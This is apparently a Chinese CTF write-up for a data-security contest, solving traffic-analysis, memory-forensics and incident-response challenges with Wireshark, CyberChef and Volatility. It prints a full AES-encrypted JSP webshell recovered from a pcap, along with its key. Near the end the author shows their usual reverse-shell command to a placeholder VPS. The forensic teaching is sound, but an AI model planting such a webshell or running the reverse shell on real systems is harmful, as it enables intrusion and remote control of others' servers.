前言

该比赛属于数据安全的范畴,大部分是流量分析、数据分析、内存分析。

正文

EW(web流量)

ez_web_1

文件是ez_web.pcap

文件是常用的数据报存储格式,可以理解为就是一种文件格式,只不过里面的数据是按照特定格式存储的,所以我们想要解析里面的数据,也必须按照一定的格式。普通的记事本打开pcap文件显示的是乱码,用安装了HEX-Editor插件的Notepad++打开,能够以16进制数据的格式显示,用wireshark这种抓包工具就可以正常打开这种文件,愉快地查看里面的网络数据报了,同时wireshark也可以生成这种格式的文件。当然这些工具只是我经常使用的,还有很多其它能够查看pcap文件的工具。

pcap文件的总体结构就是 文件头-数据包头1-数据包1-数据包头2-数据包2 等形式

使用wireshark打开文件,可以看到开始是ICMP协议的ping操作

既然显示后门,也不知道是什么文件类型,先从最简单的.php开始吧,搜索字符串有.php关键字的组,然后按长度的大小排列,我们优先看长的。成功找到疑似后门文件d00r.php

右键追踪TCP流,可以看到它在执行命令,但这不是flag。说明在它之前还有别的文件操作

在显示过滤器搜索含有d00r.php的tcp包,发现第一个是ViewMore.php,我们右键追踪tcp流

1
2
3
tcp and frame contains "d00r" //查找含有相应字符串的tcp包

tcp contains "d00r"

发现该文件ViewMore.php在进行文件的上传,被上传的文件是d00r.php,所以它就是后门文件。

所以flag为ViewMore.php

ez_web_2

一直跟着d00r.php的流,存在ifconfig的命令操作,但是结果是Gzip格式。问题不大,我们右键追踪HTTP流就可以看见明文了

所以flag为192.168.101.132

ez_web_3

继续追踪这个tcp 10098 流,既然是写入那我们直接查找POST

也可以这么想既然知道了在上传文件,肯定要用到 http的request的 POST方法

在过滤器中 输入

1
http && http.request.method==POST

这里写入了一个k3y_file

解码看看

是乱码,查看文件类型后发现原来是zip,那我们直接python脚本转化回原来的文件

1
2
3
4
5
from base64 import *

base64_data = 'UEsDBBQAAQAAANgDvlTRoSUSMAAAACQAAAAHAAAAa2V5LnR4dGYJZVtgRzdJtOnW1ycl/O/AJ0rmzwNXxqbCRUq2LQid0gO2yXaPBcc9baLIAwnQ71BLAQI/ABQAAQAAANgDvlTRoSUSMAAAACQAAAAHACQAAAAAAAAAIAAAAAAAAABrZXkudHh0CgAgAAAAAAABABgAOg7Zcnlz2AE6DtlyeXPYAfldXhh5c9gBUEsFBgAAAAABAAEAWQAAAFUAAAAAAA=='
with open('k3y_file.zip', 'wb') as f:
f.write(b64decode(base64_data))

随后解压我们的文件,发现需要密码

回想起刚刚在追踪流的时候好像看到过passwd的字符串,回去看看

老样子,追踪HTTP流查看明文,疑似密码

经验证确实是解压码,拿到flag7d9ddff2-2d67-4eba-9e48-b91c26c42337

到此本关结束,一个流量包可以出3个flag

HW(web流量)

hard_web_1

查看端口其实考察的是应急响应中被nmap扫描到了哪些端口,可以参考https://mochu.blog.csdn.net/article/details/127569366

使用以下过滤器语句

1
2
3
ip.dst == 192.168.162.188 and tcp.connection.synack //ip是目标服务器ip

tcp.flags.syn==1 and tcp.flags.ack==1 //这个是nmap扫描的识别,结果注意辨别目标 ip

过滤命令1的结果:明显80,88,888

过滤命令2的结果:明显80,88,443,888,但是我们要注意目标服务器ip是192.168.162.188,所以443不是目标服务器开放的端口

所以flag为80,88,888

hard_web_2

这样的提问估计已经可以执行命令了

过滤http流,看到一个shell.jsp

右键追踪HTTP流,可以看到shell.jsp的内容,哥斯拉(也很像冰蝎但是没有密钥协商)AES加密的shell

1
2
3
4
5
6
特征:
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: keep-alive //长连接,冰蝎通讯默认使用长连接,避免了频繁的握手造成的资源开销
AES加/解密:javax.crypto.Cipher.getInstance("AES")
类加载:ClassLoader
反射:Class.forName(无)

PS:选择HTTP流是因为经过gzip解码的,如果是追踪TCP流还需要解码gzip,好一个流量加密马子

1
<%! String xc="748007e861908c03"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}%>

所以我们知道了经过shell.jsp获取到的数据流量都是经过AES加密的,好在它pwd=admin&cmd=cat%20/www/wwwroot/test.com/shell.jsp的操作让我们知道了密钥748007e861908c03

那么我们接下来看看它都拿到了什么数据

1
http contains “shell.jsp” //过滤出相应的包

先看其中一个流

选择原始数据,以0d0a0d0a(CRLF)为请求体/响应体请求头/响应头的界限。我们一个一个组来追踪解密,最终在

tcp.stream eq 20053组中解密出了flag,下面记录一下这个解密工具的使用(功能强大但是有点复杂)

首先我们拿到一个组

等下我们要转换为原始数据,然后对请求的数据和响应体进行AES的解密

来到CyberChef进行解密,我使用的是离线的。下载网址https://github.com/gchq/CyberChef/releases/tag/v10.5.2

我们在Operation处搜索功能,将AES Decrypt功能往Recipe拖动即可使用该功能,然后在key处输入密钥748007e861908c03,在input输入密文,功能显示input的类型是HEX,刚好和我们的数据符合,如果不符合我们也可以自行调整。这时候要注意output,因为有它的提示我们才能一步一步调整功能参数进行解密。这里报错说Invalid key length: 0 bytes,但是我们的密钥本来就是16位,它说是8位,所以要把密钥的类型改为UTF8

将key的HEX修改为UTF8

这里显示需要IV,我们调整ModeECB

这时候似乎有输出了,但是是乱码,我们鼠标移动到魔术棒上查看说是Gzip格式,所以我们在Operation搜索Gzip并拖入AES Decrypt功能的下面(注意位置,代表着处理顺序)

可以看到输出还是乱码,魔术棒提示这应该是Gunzip格式,好家伙耍我?搜索Gunzip拖入底部

这回又说是Gzip了,原因只有一个,两种格式冲突了,我们把Gzip往左边的Operation功能区拖动代表取消使用

这时候就解密成功了!!!

接着将响应体的流量也解密一下,flag为flag{9236b29d-5488-41e6-a04b-53b0d8276542}

值得注意的是工具支持识别input类型,比如当input类型不知道的时候,但是又觉得想HEX,我们可以添加from hex功能为auto,但是必须注意顺序,要放在解密前面,因为它是输入

hard_web_3

webshell连接密码就是:748007e861908c03

cmd5撞一下即可得知是(不过这条MD5在线收费)

好在另一平台可以免费查到https://www.somd5.com/。推荐

所以flag为14mk3y

至此HW题型结束

WS(普通流量分析)

Wireshark1_1

我们看到目的IP只有两个,x.x.x.1一般是路由,所以被入侵的主机IP是192.168.246.28。很明显是被TELNET登陆的

所以flag为192.168.246.28

Wireshark1_2

右键一个Telnet流,选择追踪TCP流,一眼可以看到登录的账号和密码

所以flag为youcannevergetthis

Wireshark1_3

从登录账号可知用户名为ctf,注意用户目录是波浪号~,注意ls

所以flag为Downloads

到此WS题型结束

SSW(蚁剑流量)

SmallSword_1

既然是蚁剑连接,那么不是GET就是POST,根据蚁剑的一句话特点我们过滤一下

1
2
3
4
5
6
过滤:
http contains "$_GET"
http contains "$_POST"
或过滤tcp也行
tcp contains "$_GET"
tcp contains "$_POST"

右键追踪http流,%22是双引号的url编码

我们解码一下6ea280898e404bfabd0ebb702327b18f,应该是md5(你见过蚁剑密码加密的吗?没有,所以这就是密码:)

所以flag为6ea280898e404bfabd0ebb702327b18f

SmallSword_2

在上一题中我们知道黑客是写入一句话到info1.php中的,所以接下来的操作必然是在访问该文件的情况下进行的

过滤出带有info1.php的流量,从最后往前看,因为前面大多是扫描流量,没啥关键的。蚁剑的base64传输,直接解码一条一条看即可

1
http contains "info1.php"

右键追踪http流,解码请求体(url和base64)

最后追踪到tcp.stream eq 142流发现有写文件的操作

chat-GPT是这样说的

我们base64解码一下写入的文件

所以flag为ad6269b7-3ce2-4ae8-b97f-f259515e7a91

SmallSword_3

我们这时需要将流量包中的所有文件导出来查看一下。

1
2
3
1.过滤http流
2.点击左上角的"文件"->"导出对象"->"HTTP对象列表"
3.点击"save all"->选择保存位置

文件导出完成后打开文件夹查看,发现一个很大的文件

打开这个文件发现是16进制的,所以我们用010 Editor打开。主要看文件头,16进制的4D 5A.exe等文件的文件头,解码出来就是MZ。更多文件头请查看/我的学习笔记/常见文件文件头.md

我们删掉 2D 3E 7C ,后缀名改为 .exe,双击运行得到一张图(又是i春秋:),虽然在window上是正常打开的,但是拿到Linux是不能正常打开的,所以misc的图片可以第一时间拿到Linux上打开是否是正常的

再次使用010 Editor打开发现文件头显示这是一张 png 图片,我们改一下后缀重新打开,还是一样的。来到图片隐写。检查一下宽高

现在需要我们回到16进制中修改,宽是正常的,我们修改一下高就可以了

保存图片,重新打开

这里写了一个python脚本直接爆破宽高并修改输出新图片,全自动

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import zlib
import argparse
import struct

parser = argparse.ArgumentParser()
parser.add_argument("-f", type=str, default=None, required=True,help="输入同级目录下图片的名称")
args = parser.parse_args()

fr = open(args.f, 'rb').read() # -f 接文件
data = bytearray(fr[0x0c:0x1d]) # 12~28 IHDR块包含宽高等信息。转化为bytearray对象
crc32key = zlib.crc32(data) # 根据宽高计算当前crc;取出fr字节序列从第12位到第28位(不包含第29位)的字节部分。
original_crc32 = int(fr[29:33].hex(), 16) # 取出29~32以整型赋值给crc32key,其实这就是当前写在照片里的crc码。

if crc32key == original_crc32: # 计算crc对比原始crc
print('宽高没有问题!')
else:
input_ = input("宽高被改了, 是否CRC爆破宽高? (Y/n):")
if input_ not in ["Y", "y", ""]:
exit()
else:
n = 4095
for w in range(n):
width = bytearray(struct.pack('>i', w))
for h in range(n):
height = bytearray(struct.pack('>i', h))
for x in range(4):
data[x+4] = width[x]
data[x+8] = height[x]
crc32result = zlib.crc32(data) # 每次图片修改,根据宽高计算当前crc;取出fr字节序列从第12位到第28位(不包含第29位)的字节部分。
if crc32result == original_crc32: # 比较根据宽高计算出的crc码是否和写在照片中的一致
print(width,height)
#''' 测试发现长宽带数字+字母的无法正常打印而是会打印出对应的ASCII码符号,请注意,例如1d,2c,3e会打印出符号,而c1,b2,cf等又可以正常显示。GPT这么解释只有数字在前字母在后的组合(如1d、2a),其他组合(如a1、d2)会打印正常,而非显示符号,原因是:在终端打印字符串时,许多驱动会尝试自动将非ASCII字符(code > 127)替换为可显示的近似符号。对数字+字母这样的组合字符串来说:如果数字在前,字母的ASCII码就会构成一个完整的Unicode代码点。例如'1'('31')+'d'('64') = '1d'('3164'),可以解读为一个unicode字符。但如果字母在前,就无法组成完整代码点了。所以终端驱动就会将以数字开头的串视为单个unicode字符进行显示,导致显示为替代符号;而其他组合依然只是单独的ASCII字节流,无法组成字符,所以会原样打印。'''
newpic = bytearray(fr) # 生成宽高正常的新图片
for x in range(4):
newpic[x+16] = width[x]
newpic[x+20] = height[x]
fw = open(args.f+'.png','wb')
fw.write(newpic)
fw.close
exit()

下面是修正版,不会输出字符了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import zlib
import argparse
import struct

def print_bytes(bytes): # 自定义打印函数,防止终端输出打印字符
print(''.join(f'{b:02x}' for b in bytes))
parser = argparse.ArgumentParser()
parser.add_argument("-f", type=str, default=None, required=True,help="输入同级目录下图片的名称")
args = parser.parse_args()

fr = open(args.f, 'rb').read() # -f 接文件
data = bytearray(fr[0x0c:0x1d]) # 12~28 IHDR块包含宽高等信息。转化为bytearray对象
crc32key = zlib.crc32(data) # 根据宽高计算当前crc;取出fr字节序列从第12位到第28位(不包含第29位)的字节部分。
original_crc32 = int(fr[29:33].hex(), 16) # 取出29~32以整型赋值给crc32key,其实这就是当前写在照片里的crc码。

if crc32key == original_crc32: # 计算crc对比原始crc
print('宽高没有问题!')
else:
input_ = input("宽高被改了, 是否CRC爆破宽高? (Y/n):")
if input_ not in ["Y", "y", ""]:
exit()
else:
n = 4095
for w in range(n):
width = bytearray(struct.pack('>i', w))
for h in range(n):
height = bytearray(struct.pack('>i', h))
for x in range(4):
data[x+4] = width[x]
data[x+8] = height[x]
crc32result = zlib.crc32(data) # 每次图片修改,根据宽高计算当前crc;取出fr字节序列从第12位到第28位(不包含第29位)的字节部分。
if crc32result == original_crc32: # 比较根据宽高计算出的crc码是否和写在照片中的一致
print("宽高分别为:")
print_bytes(width)
print_bytes(height)
newpic = bytearray(fr) # 生成宽高正常的新图片
for x in range(4):
newpic[x+16] = width[x]
newpic[x+20] = height[x]
fw = open(args.f+'.png','wb')
fw.write(newpic)
fw.close
exit()

所以flag为flag3{8fOdffac-5801-44a9-bd49-e66192ce4f57}

HD(flask)

hacked_1

既然是登录用户,那就是触发login功能

1
http contains "login" && http.request.method==POST

这个流一眼嫌疑

右键跟踪http流,发现登录用户密码,CyberChef解密

1
2
username=pl3HJGsgs1Zn43qjV5Qx8w==
password=pl3HJGsgs1Zn43qjV5Qx8w==

base64解码一下显示乱码,那可能不是base64

回去再看看流,我们看login流的开始,发现了AES加密,而且keyIV已给出,CBC模式

1
2
crypt_key=l36DoqKUYQP0N7e1
crypt_iv=131b0c8a7a6e072e

再来解密一次,解出来账号密码居然都是aaa,显然这不是

回去再看看登录成功的账号密码

1
2
username=UPFtSEoUfu4tgc6rUOc8Iw==
password=7wcY1rS4D1x3A/n9AXUq5g==

账号是admin,不是题目要求的admIn

密码

接着继续找,上下翻流,然后解码账号观察是不是admIn就行

1
2
http contains "login" && http.request.method==POST
这样可以更加精确的过滤

看一下密码

所以flag为flag{WelC0m5_TO_H3re}

hacked_2

题目考察查看flask的配置文件app.config参数,文章https://www.cnblogs.com/kaerxifa/p/11780941.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
常见:
{
'DEBUG': False, # 是否开启Debug模式
'TESTING': False, # 是否开启测试模式
'PROPAGATE_EXCEPTIONS': None, # 异常传播(是否在控制台打印LOG) 当Debug或者testing开启后,自动为True
'PRESERVE_CONTEXT_ON_EXCEPTION': None, # 一两句话说不清楚,一般不用它
'SECRET_KEY': None, # 之前遇到过,在启用Session的时候,一定要有它
'PERMANENT_SESSION_LIFETIME': 31, # days , Session的生命周期(天)默认31天
'USE_X_SENDFILE': False, # 是否弃用 x_sendfile
'LOGGER_NAME': None, # 日志记录器的名称
'LOGGER_HANDLER_POLICY': 'always',
'SERVER_NAME': None, # 服务访问域名
'APPLICATION_ROOT': None, # 项目的完整路径
'SESSION_COOKIE_NAME': 'session', # 在cookies中存放session加密字符串的名字
'SESSION_COOKIE_DOMAIN': None, # 在哪个域名下会产生session记录在cookies中
'SESSION_COOKIE_PATH': None, # cookies的路径
'SESSION_COOKIE_HTTPONLY': True, # 控制 cookie 是否应被设置 httponly 的标志,
'SESSION_COOKIE_SECURE': False, # 控制 cookie 是否应被设置安全标志
'SESSION_REFRESH_EACH_REQUEST': True, # 这个标志控制永久会话如何刷新
'MAX_CONTENT_LENGTH': None, # 如果设置为字节数, Flask 会拒绝内容长度大于此值的请求进入,并返回一个 413 状态码
'SEND_FILE_MAX_AGE_DEFAULT': 12, # hours 默认缓存控制的最大期限
'TRAP_BAD_REQUEST_ERRORS': False,
# 如果这个值被设置为 True ,Flask不会执行 HTTP 异常的错误处理,而是像对待其它异常一样,
# 通过异常栈让它冒泡地抛出。这对于需要找出 HTTP 异常源头的可怕调试情形是有用的。
'TRAP_HTTP_EXCEPTIONS': False,
# Werkzeug 处理请求中的特定数据的内部数据结构会抛出同样也是“错误的请求”异常的特殊的 key errors 。
# 同样地,为了保持一致,许多操作可以显式地抛出 BadRequest 异常。
# 因为在调试中,你希望准确地找出异常的原因,这个设置用于在这些情形下调试。
# 如果这个值被设置为 True ,你只会得到常规的回溯。
'EXPLAIN_TEMPLATE_LOADING': False,
'PREFERRED_URL_SCHEME': 'http', # 生成URL的时候如果没有可用的 URL 模式话将使用这个值
'JSON_AS_ASCII': True,
# 默认情况下 Flask 使用 ascii 编码来序列化对象。如果这个值被设置为 False ,
# Flask不会将其编码为 ASCII,并且按原样输出,返回它的 unicode 字符串。
# 比如 jsonfiy 会自动地采用 utf-8 来编码它然后才进行传输。
'JSON_SORT_KEYS': True,
#默认情况下 Flask 按照 JSON 对象的键的顺序来序来序列化它。
# 这样做是为了确保键的顺序不会受到字典的哈希种子的影响,从而返回的值每次都是一致的,不会造成无用的额外 HTTP 缓存。
# 你可以通过修改这个配置的值来覆盖默认的操作。但这是不被推荐的做法因为这个默认的行为可能会给你在性能的代价上带来改善。
'JSONIFY_PRETTYPRINT_REGULAR': True,
'JSONIFY_MIMETYPE': 'application/json',
'TEMPLATES_AUTO_RELOAD': None,
}
1
2
3
4
5
6
7
比较重要的:
ENV:测试环境
production:生产环境,development:开发环境
DEBUG:是否开启debug模式
SECRET_KEY:密钥字符串
JSON_AS_ASCII:是否以ascii编码展示响应报文
JSONIFY_MIMETYPE:响应报文类型

这题让我们找密钥,直接过滤追踪带关键字的tcp流或http

1
tcp contains "SECRET_KEY"

追踪流

所以flag为ssti_flask_hsfvaldb

hacked_3

SECRET_KEY:密钥字符串已经知道,而且从前面的流可以看到cookie的格式是JWT,那么这题考察的是解密JWT,要找到执行命令的包

这个包是启动flask

解法1:可以使用大佬的cookie伪造脚本可以加解密,python脚本使用密钥解密文章https://blog.csdn.net/since_2020/article/details/119543172

脚本有解密、加密两种功能,需要知道SECRET_KEY值。具体用法如下
解密:python3 flask_session_manager3.py decode -c “cookie值” -s “SECRET_KEY值” // -c是flask cookie里的session值 -s参数是SECRET_KEY
加密:python flask_session_manager3.py encode -s “SECRET_KEY值” -t “{xxx}”// -s参数是SECRET_KEY -t参数是session的参照格式,也就是session解密后的格式

1
2
命令行执行:
python3 flask_session_cookie_manager3.py decode -s "ssti_flask_hsfvaldb" -c ".eJwdylsKAyEMQNGtFEGiUGYBs5VpkRQz04 AvjNIPce-t_TyXO9QZ8FK7quQfSd1VF6oJI_3S0HzehEQ4p60Xj43MgPXDHrhIjwc4d4X8wiDOwfNPatwoLhrIAvaAkgulxc87Y2SwWyX0xk6r59CUPJ96qvkFHeUvmg.YpIQkg.65xf8l2g9fXAImkfyihId46KkY4"

解法2:也可以在线平台 Flask Session Cookie Decoder ,不需要SECRET_KEY值,直接将cookie放入即可
https://www.kirsle.net/wizards/flask-session.cgi

解法3:自己写一个python脚本在本地运行解密,不需要SECRET_KEY值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/python
# -- coding: utf-8 --
# Author: MTRleed
# file: flask-cookie-decode
# time: 2023/11/22 16:26

"""Flask session cookie decoder."""
#import sys
import zlib
#from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')

return session_json_serializer.loads(payload)

if __name__ == '__main__':
print(decryption(".eJwdylsKAyEMQNGtFEGiUGYBs5VpkRQz04AvjNIPce-t_TyXO9QZ8FK7quQfSd1VF6oJI_3S0HzehEQ4p60Xj43MgPXDHrhIjwc4d4X8wiDOwfNPatwoLhrIAvaAkgulxc87Y2SwWyX0xk6r59CUPJ96qvkFHeUvmg.YpIQkg.65xf8l2g9fXAImkfyihId46KkY4".encode()))
#引号内放入cookie,注意不要多了空格什么的

所以flag为red

到此该题型结束

BF(虚拟机)

baby_forensics_1

给了两个文件,一个磁盘镜像,另一个猜测是内存镜像,DiskGenius打开.vmdk(先打开DiskGenius,然后将文件拖进去)

点解分区发现是加密的

介绍工具:

Volatility是一款非常强大的内存取证工具,它是由来自全世界的数百位知名安全专家合作开发的一套工具, 可以用于windows,linux,mac osx,android等系统内存取证。

使用Volatility查看.vmdk信息未读取到有用的,随后查看.raw的文件,有信息输出

在windows平台使用不方便,建议在Linux下使用,这里使用win(且本题用的是Python2版本)

1
vol.py -f baby_forensics.raw --profile=Win7SP1x64 filescan | grep key 

将这个文件dump下来

1
vol.py -f baby_forensics.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000003df94070 -D /root/桌面/datasafety

查看一下内容,直接提交flag是不对的,所以这应该是密文

1
E96<6J:Da6g_b_f_gd75a3d4ch4heg4bab66ad5d

最后得知这是ROT47加密,CyberChef解密

所以flag为thekeyis2e80307085fd2b5c49c968c323ee25d5

baby_forensics_1

查看进程

1
vol.py -f /root/桌面/datasafety/BF/baby_forensics.raw --profile=Win7SP1x64 --profile=Win7SP1x64 psscan

把文件dump出来

1
vol.py -f /root/桌面/datasafety/BF/baby_forensics.raw --profile=Win7SP1x64 --profile=Win7SP1x64 memdump -p 2844 -D /root/桌面/datasafety

查看该文件,file命令查看文件,属于data类型,我们把它后缀修改为data,使用GIMP打开,先不断调整位移使之有图像的阴影等,然后宽度适当即可,如下:

所以flag为7598632541

baby_forensics_3

1
2
vol.py -f /root/桌面/datasafety/BF/baby_forensics.raw --profile=Win7SP1x64 psscan
//扫描进程

因为存在这个进程可以知道它会存在.snt便签文件。我们查一下有没有这个文件

.SNT 文件大多属于 Microsoft 的 Sticky Notes 。 SNT 文件是使用与 Windows 桌面捆绑的 Sticky Notes 笔记应用程序创建的便签。使用win7 打开

1
2
3
4
5
windows:
.\volatility.exe -f baby_forensics.raw --profile=Win7SP1x64 filescan | findstr '.snt'

Linux:
vol.py -f baby_forensics.raw --profile=Win7SP1x64 filescan | grep '.snt'

将这个.snt便签文件导出

1
2
windows:
.\volatility.exe -f baby_forensics.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000003dfc3d10 -D ./

根据上面的路径,将这个文件放到win7的便签目录下(需要将隐藏文件显示才能找到路径),然后打开便笺应用,就可以看到密文,一眼就知道这是AESbase64的格式输出的

1
路径:C:\Users\mtrleed\AppData\Roaming\Microsoft\Sticky Notes

1
U2FsdGVkX195MCsw0ANs6/Vkjibq89YlmnDdY/dCNKRkixvAP6+B5ImXr2VIqBSp94qfIcjQhDxPgr9G4u++pA==

现在需要我们查找AESkey。这里要用到RS(R-Studio Technician) 一款为数字取证实验室、数据恢复企业或个人提供了一流的专业数据恢复工具集。官网https://www.r-studio.com/zhcn/Data_Recovery_Technician.shtml

打开软件,导入镜像文件,这里不显示.raw文件显示的文件类型改为全部

选中导入的镜像文件,然后选择分区搜索

搜素完毕点击红色目录

进入后开始查找

终于在这找到了疑似密钥key的文件,双击打开,查看

密钥为qwerasdf。到CyberChef解密失败,到普通在线网站解密即可https://www.sojson.com/encrypt_aes.html该在线网站只会解base64的,恰巧。

所以flag为flag{ad9bca48-c7b0-4bd6-b6fb-aef90090bb98}

TP(TCP流专项)

某程序漏洞

tcpdump_1

过滤查看成功与失败的特征

1
http contains "login" && http.request.method==POST

这里是失败的

那我们根据特征过滤,挨个查看

1
tcp contains "{\"errCode\":200}"

所以flag为TMjpxFGQwD:123457

tcpdump_2

既然是越权,修改某个权限标识符的值达到越权,明显是在这种地方会有不一样

但是我们不知道谁是被越权的

既然有userid的改变,又是一样的cookie,那基本可以确定这两个操作存在越权。不知道谁修改谁,我们挨个解密提交,成功的就是flag

1
2
3
4
Cookie: accessToken=f412d3a0378d42439ee016b06ef3330c; zyplayertoken=f412d3a0378d42439ee016b06ef3330cQzw=; userid=1
--------------------
Cookie: accessToken=f412d3a0378d42439ee016b06ef3330c; zyplayertoken=f412d3a0378d42439ee016b06ef3330cQzw=; userid=2
--------------------

最终提交成功的是userid=1的cookie值得md5

所以flag为383c74db4e32513daaa1eeb1726d7255

tcpdump_3

既然是jdbc,那么就会带有关键字,直接过滤,学习一下高效过滤

1
tcp contains "jdbc" and tcp contains "username" and tcp contains "password"

1
2
username: zyplayer
password: 1234567

所以flag为zyplayer:1234567

tcpdump_4

基本都是考察过滤

1
2
直接检索jdbc的payload:
tcp contains "jdbc:"

CVE编号直接将利用的包名和关键字贴上搜索引擎找就行

1
CVE socketFactoryArg=org.springframework.context.support.ClassPathXmlApplicationContext

所以flag为CVE-2022-21724:custom.dtd.xml

tcpdump_5

又是考察看谁的过滤语句精准,如果是你你会怎么下载呢?Linux中我试过很多种方式,大概率是从github上下载的

1
2
3
4
5
6
7
8
9
10
tcp contains "wget"
tcp contains "wget" and tcp contains "-i" //wget 通常带这个参数大小写都试试
tcp contains "wget" and tcp contains "github"
tcp contains "curl"
tcp contains "curl" and tcp contains "-o" //curl 通常带这个参数大小写都试试
tcp contains "curl" and tcp contains "github"
tcp contains "git clone"
tcp contains "dowload"
tcp contains "install"
如果没能找到flag,同样的过滤方式对http也来一遍

最终好多个过滤都可以找到对应的流

1
2
3
4
5
6
猜中了关键字:
curl
-o
github
download

其实正常的逻辑是不是拿到权限后也是会先安装fscan扫内网?其实也是可以猜出来的

所以flag为fscan

IR(应急响应)

挖矿病毒,自启动

IncidentResponse_1

打开压缩包是一个.ova这是一个虚拟机导出文件。VMware可以导入导出ova/ovf虚拟机文件

现在我们把它导入虚拟机,VMware打开irTest.ova,中间有一些报错,问题不大,继续即可

使用题目给的账号密码root/IncidentResponsePasswd登录虚拟机,有一说一密码真臭长

查看一下root用户最新更新过的记录文件: .bash_history.viminfo

.bash_history看了有一些修改操作,但是看了看这些文件内容貌似也没发现挖矿痕迹

vim 一下.viminfo,发现了大量操作redis相关配置(在vim中操作的行为,vim会自己主动记录下来,保存在 ~/.viminfo 文件里)

解法1:

直接进入Redis目录查看进程信息可知,该程序发送数万条 udp 链接,结合之前的 redis 挖矿病毒猜测为该程序。

解法2:

查看

查看一下.sh文件。这个命令的意思是:使用redis-server命令来启动redis服务进程。
并通过-c参数指定redis服务进程使用的配置文件为/etc/redis/redis.conf

接着我们到配置文件看看vim /etc/redis/redis.conf

这里发现一个url,有个域名donate.v2.xmrig.com:3333,搜索引擎一下,确认为挖矿ip池

所以挖矿程序的路径为/etc/redis/redis.conf,根据题目要求使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案

1
2
3
echo -n '/etc/redis/redis.conf'|md5sum|cut -d ' ' -f1
结果为
91f4c88b7edff9dcd83a9d715ff452a2

以为flag为91f4c88b7edff9dcd83a9d715ff452a2

但是不正确,原因是路径不是在配置文件应该是应用服务所在路由,尝试将路径改为

1
2
3
echo -n '/etc/redis/redis-server'|md5sum|cut -d ' ' -f1
结果为
6f72038a870f05cbf923633066e48881

所以flag为6f72038a870f05cbf923633066e48881

IncidentResponse_2

上一题就看出来了

donate.v2.xmrig.com

1
2
3
echo -n 'donate.v2.xmrig.com'|md5sum|cut -d ' ' -f1
结果为
3fca20bb92d0ed67714e68704a0a4503

所以flag为3fca20bb92d0ed67714e68704a0a4503

IncidentResponse_3

vim .bash_history查看,发现有执行jar包的操作,随后使用nohup去保存运行的日志了(nohup是Linux和Unix系统中的一个命令,其作用是在终端退出时,让进程在后台继续运行。它的全称为“no hang up”,意为“不挂起”。nohup命令可以让你在退出终端或关闭SSH连接后继续运行命令。)

根据记录,在/home/app/目录下找到了jar包和日志文件,我们直接查看jar包运行启动后的日志文件nohup.log

这个日志是真的很大,人麻了。最终发现shiro反序列化的迹象

1
2
3
echo -n 'shirodeserialization'|md5sum|cut -d '' -f1
结果为
3ee726cb32f87a15d22fe55fa04c4dcd

所以flag为3ee726cb32f87a15d22fe55fa04c4dcd

IncidentResponse_4

解法1:在历史记录里看到过一个特殊的外网ip,没想到就是它

1
2
3
echo -n '81.70.166.3'|md5sum|cut -d '' -f1
结果为
c76b4b1a5e8c9e7751af4684c6a8b2c9

解法2:

攻击者都植入挖矿程序了,肯定登陆过服务器,直接last查看登录记录

解法3:

也可以查看Nginx中的访问日志,tail /var/log/nginx/access.log

所以flag为c76b4b1a5e8c9e7751af4684c6a8b2c9

IncidentResponse_5

日志里UserAgent就那么几个,可以一个一个试,最后发现就是最后访问时带的 UserAgent

1
2
3
echo -n 'mozilla/5.0(compatible;baiduspider/2.0;+http://www.baidu.com/search/spider.html)'|md5sum|cut -d '' -f1
结果为
6ba8458f11f4044cce7a621c085bb3c6

所以flag为6ba8458f11f4044cce7a621c085bb3c6

IncidentResponse_6

authorized_keys不为空,推测攻击者开启了root的SSH私钥登录

查看一下内容,确认就是

所路径就是/root/.ssh/authorized_keysmd5一下

所以flag为a1fa1b5aeb1f97340032971c342c4258

IncidentResponse_7

/lib/systemd/system/redis.service这个配置很可疑,一直在重启redis,也就是在不断维持植入的矿机程序

所以flag为b2c5af8ce08753894540331e5a947d35

SS(入侵流量分析)

系统被入侵还被植入挖矿病毒

sevrer save_1

过滤http,前面都是爆破的干扰流量,直接看到后面

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_有蹊跷,遇事不决就搜索引擎

所以flag为CVE-2022-22965

sevrer save_2

既然是反弹shell,那肯定有特征,不过也可能base过,尝试过滤一下

1
2
平时我写的反弹shell
("sh -c $@|sh . echo `bash -i >& /dev/tcp/VPS地址/7777 0>&1`");

